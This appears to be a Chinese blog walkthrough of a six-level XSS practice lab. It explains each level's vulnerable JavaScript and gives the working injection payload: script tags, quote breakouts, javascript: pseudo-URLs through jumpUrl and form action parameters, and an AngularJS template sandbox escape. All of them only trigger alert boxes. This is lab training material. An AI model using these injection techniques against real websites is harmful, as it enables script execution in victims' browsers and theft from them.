xss闯关

第一关:

就是简单的xss。没有进行任何过滤。

?username=<script>alert('xss')</script>

第二关:

查看页面源代码:

<script type="text/javascript">
    	if(location.search == ""){
    		location.search = "?username=xss"
    	}
    	var username = 'xss';
    	document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
    </script>

代码是检查是否含有username这个参数,如果没有或者有都是把username是xss。不管怎么传入参数,这个页面中的username的值都是xss。

document.getElementById('ccc') 通过 ID ccc 查找页面中的一个 HTML 元素(如 <div id="ccc"></div>)。

innerHTML 用来设置该元素的内容,将页面内容设置成welcome xss。

使用;结束前面的语句,让页面有这个参数的传递,再加一个xss语句,想要后面的代码不影响前面的东西,加入//来进行注释。

?username=xss';alert(1);//

第三关

查看页面源代码:

<script type="text/javascript">
    	if(location.search == ""){
    		location.search = "?username=xss"
    	}
    	var username = '\';alert(1);'1';
    	document.getElementById('ccc').innerHTML= "Welcome " + username;
    </script>

发现多了一个反斜杠和单引号(’),那么就相当于’'构成了闭合。和上面那个差不多。

?username='';alert(1);//

第四关:


查看页面对那些情况进行了过滤。

伪链接 javascript:alert(1),浏览器会把javascript后面的内容当做代码执行。

?jumpUrl=javascript:alert(1)

第五关:

if(getQueryVariable('autosubmit') !== false){  //如果出错就会执行getQueryVariable函数
    		var autoForm = document.getElementById('autoForm');
    		autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    		//变量action执行getQueryVariable函数
    		autoForm.submit();
    	}else{
    		
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}

查看页面源代码,大概意思就是该js代码在一些情况下会自动提交一个表单,查询url

调用 getQueryVariable 函数,检查当前 URL 中是否有 autosubmit 参数。如果 autosubmit 参数存在,返回它的值。如果没有找到该参数,返回 false 。

这个条件是在有该值传递的时候才会执行。

var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');

通过id获取对应表单的数据。设置了表单提交的位置。

autoForm.submit();

自动提交表单。

function getQueryVariable(variable)
{
    var query = window.location.search.substring(1);  // 获取查询字符串(去掉?)
    var vars = query.split("&");  // 按&分割参数对
    for (var i = 0; i < vars.length; i++) {
        var pair = vars[i].split("=");  // 按=分割每个参数
        if (pair[0] == variable) { return pair[1]; }  // 如果找到了对应的参数,返回它的值
    }
    return(false);  // 如果没有找到该参数,返回false
}
else{
    // 可以放入不执行任何操作的代码,或者放置其他逻辑
}

这是一个功能函数,会对url进行检查。

如果这个参数不存在,就不执行任何代码。

?autosubmit=1&action=JavaScript:alert(1);//

第六关:

xss模板注入。

查看页面的源代码。页面中有一个url,点击进去,查看全部代码。

对页面进行测试,发现直接输出了答案,说明是xss模板注入

?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值